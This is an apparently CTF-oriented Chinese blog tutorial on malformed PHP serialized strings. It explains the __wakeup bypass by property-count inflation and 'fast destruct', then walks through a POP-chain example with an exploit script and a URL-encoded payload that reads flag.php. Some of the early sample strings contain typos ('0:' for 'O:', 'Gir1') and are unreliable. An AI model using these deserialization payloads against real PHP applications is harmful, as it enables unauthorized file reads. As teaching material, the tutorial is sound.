03.畸形序列化字符串
本文最后更新于446 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、概念

畸形序列化字符串就是故意修改序列化数据,使其与标准序列化数据存在个别字符的差异,达到绕过一些安全函数的目的。

应用:
1.绕过 __wakeup()
2.快速析构(fast destruct):绕过过滤函数,提前执行__destruct

二、绕过__wakeup

由于使用unserialize()函数后会立即触发__wakeup,为了绕过__wakeup中的安全机制,可以用修改属性数量的方式绕过__wakeup 方法。
受影响版本:

php5.0.0 ~ php5.6.25
php7.0.0 ~ php7.0.10

绕过方法:
1.反序列化时,修改对象的属性数量,将原数量+n,那么__wakeup方法将不再调用。比如:

//标准序列化数据
0:4:"Girl":2:{s:4:"name";s:6:"小美";s:3:"age";s:2:"18";}
//修改为:
0:4:"Gir1":3:{s:4:"names";:6:"小美";s:3:"age";s:2:"18";}

2.增加真实属性的个数,比如

//原始序列化数据
0:4:"Gir1":2:{s:4:"name";s:6:"小美";s:3:"age";s:2:"18";}
//增加真实属性的个数
0:4:"Gir1":2:{s:4:"name";s:6:"小美";s:3:"age";s:2:"18";s:1:"n":N;}

三、快速析构

快速析构的原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法_destruct()

应用场景:某些题目需要利用__destruct 才能获取flag,但是_destruct 是在对象被销毁时才触发(执行顺序太靠后),__destruct 之前会执行过滤函数,为了绕过这些过滤函数,就需要提前触发__destruct 方法。

畸形字符串的构造:
1.改掉属性的个数
2.删掉结尾的}

四、例题

<?php
class DemoX{
	protected $user;
	protected $sex;
	function __construct (){
		$this->user = "guest";
		$this->sex = "male";
	}
	function __wakeup(){
		$this->user = "Guest";
		$this->sex = "female";
	}
	function __toString(){
		return "<br>you are".$this->user."your sex is ".$this->sex."<br>";
	}
	function __destruct()
	{
		echo $this;
	}
}
class Demo2{
	private $fff14g;
	function __construct($file){
		$this->fff14g = $file;
	}
	function __toString(){
		return file_get_contents($this->fff14g);
	}
}
if(!isset($_GET['poc'])){
	highlight_file("index. php") ;
}
else{
	$user = unserialize($_GET['poc']);
}
起点:$poc


DemoX->__destruct   不触发wakeup
DemoX->__toString() $user=new Demo2
终点:Demo2->__toString $fff14g='flag.php'

注意:__construct 方法没有被触发是因为使用了 unserialize 函数来反序列化对象,而非直接实例化对象。

解题思路:
1.明确POP的起点:unserialize($_GET['poc'])
2.明确POP的终点: Demo2->__toString()
3.怎样连接起点和终点?

Demox->__destruct()/ /不能执行DemoX->__wakeup()
DemoX->__toString()
Demo2->__toString()

4.怎样执行绕过 Demox->_wakeup()?先生成正常的序列化数据,再改变属性个数。

5.exp:

<?php  
class DemoX{  
    protected $user;  
    protected $sex;  
    function __construct (){  
       $this->user = new Demo2();  
       $this->sex = "male";  
    }  
//function __wakeup(){  
//    $this->user = "Guest";  
//    $this->sex = "female";  
//}  
//function __toString(){  
//    return "<br>you are".$this->user."your sex is ".$this->sex."<br>";  
//}  
//function __destruct()  
//{  
//    echo $this;  
//}  
}  
class Demo2{  
    private $fff14g = 'flag.php';  
//    function __construct($file){  
//        $this->fff14g = $file;  
//    }  
//    function __toString(){  
//        return file_get_contents($this->fff14g);  
//    }  
}  
//if(!isset($_GET['poc'])){  
//    highlight_file("index. php") ;  
//}  
//else{  
//    $user = unserialize($_GET['poc']);  
//}  
$d = new DemoX();  
$poc = serialize($d);  
echo $poc."\n";  
echo urlencode($poc);

6.执行得到:

O:5:"DemoX":2:{s:7:" * user";O:5:"Demo2":1:{s:13:" Demo2 fff14g";s:8:"flag.php";}s:6:" * sex";s:4:"male";}

O%3A5%3A%22DemoX%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00user%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A13%3A%22%00Demo2%00fff14g%22%3Bs%3A8%3A%22flag.php%22%3B%7Ds%3A6%3A%22%00%2A%00sex%22%3Bs%3A4%3A%22male%22%3B%7D

通过比对,将属性个数由2改为3
O%3A5%3A%22DemoX%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00user%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A13%3A%22%00Demo2%00fff14g%22%3Bs%3A8%3A%22flag.php%22%3B%7Ds%3A6%3A%22%00%2A%00sex%22%3Bs%3A4%3A%22male%22%3B%7D

7.将payload执行获取flag

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇